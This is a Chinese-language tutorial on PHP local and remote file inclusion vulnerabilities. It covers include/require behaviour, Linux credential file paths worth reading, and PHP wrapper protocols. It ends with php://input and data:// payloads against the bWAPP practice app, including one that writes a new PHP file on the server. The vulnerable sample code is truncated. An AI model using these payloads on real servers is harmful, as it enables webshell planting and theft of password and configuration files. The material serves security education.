文件包含的漏洞形成
文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。
文件包含的主要函数:
- include()
- include_once
- require()
- require_once()
区别:
相同点:include和require 都能把另外一个文件包含到当前文件中。
不同点:使用include时,当包含的文件不存在时,系统会报出警告级别的错误,程序会继续往下执行。 使用require包含文件时,当包含的文件不存在时,系统会先报出警告级别的错误,接着又报一个致命级别的错误。程序将终止执行。 require能让php的程序得到更高的效率,在同一php文件中解释过一次后,不会再解释第二次。而include却会重复的解释包含的文件。所以当php网页中使用循环或条件语句引入文件时,”require”则不会做任何的改变,当出现这种情况,必须使用”include”命令来引入文件。
require_once():如果该文件中的代码已经被包含了,则不会再次包含 应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
include_once():同require_once()
文件包含示例代码:
1 | <?php |
比如:当客户端POST过来一个filename的值, $_POST[‘filename’];没有对filename的内容进行检测限制,这样就产生了问文件包含漏洞。
linux系统敏感信息路径:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.conf // mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
还有就是通过获取php版本来查看session的存储位置获取获取路径:
PHP伪协议
文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。
首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,下面这张图总结了我们伪协议及需要的环境
下面我们对部分进行了演示:
1.利用php://input 写入一句话,
1 | http://IP/bWAPP/rlfi.php?language=php://input&action=go |
1 | <?fputs(fopen("123.php", "w"),base64_decode("PD9waHAgIHBocGluZm8oKTsgPz4="));?> |
然后访问我们写入的123.php页面
2.利用data协议
1 | http://IP/bWAPP/rlfi.php?language=data://text/plain,<?php phpinfo()?> |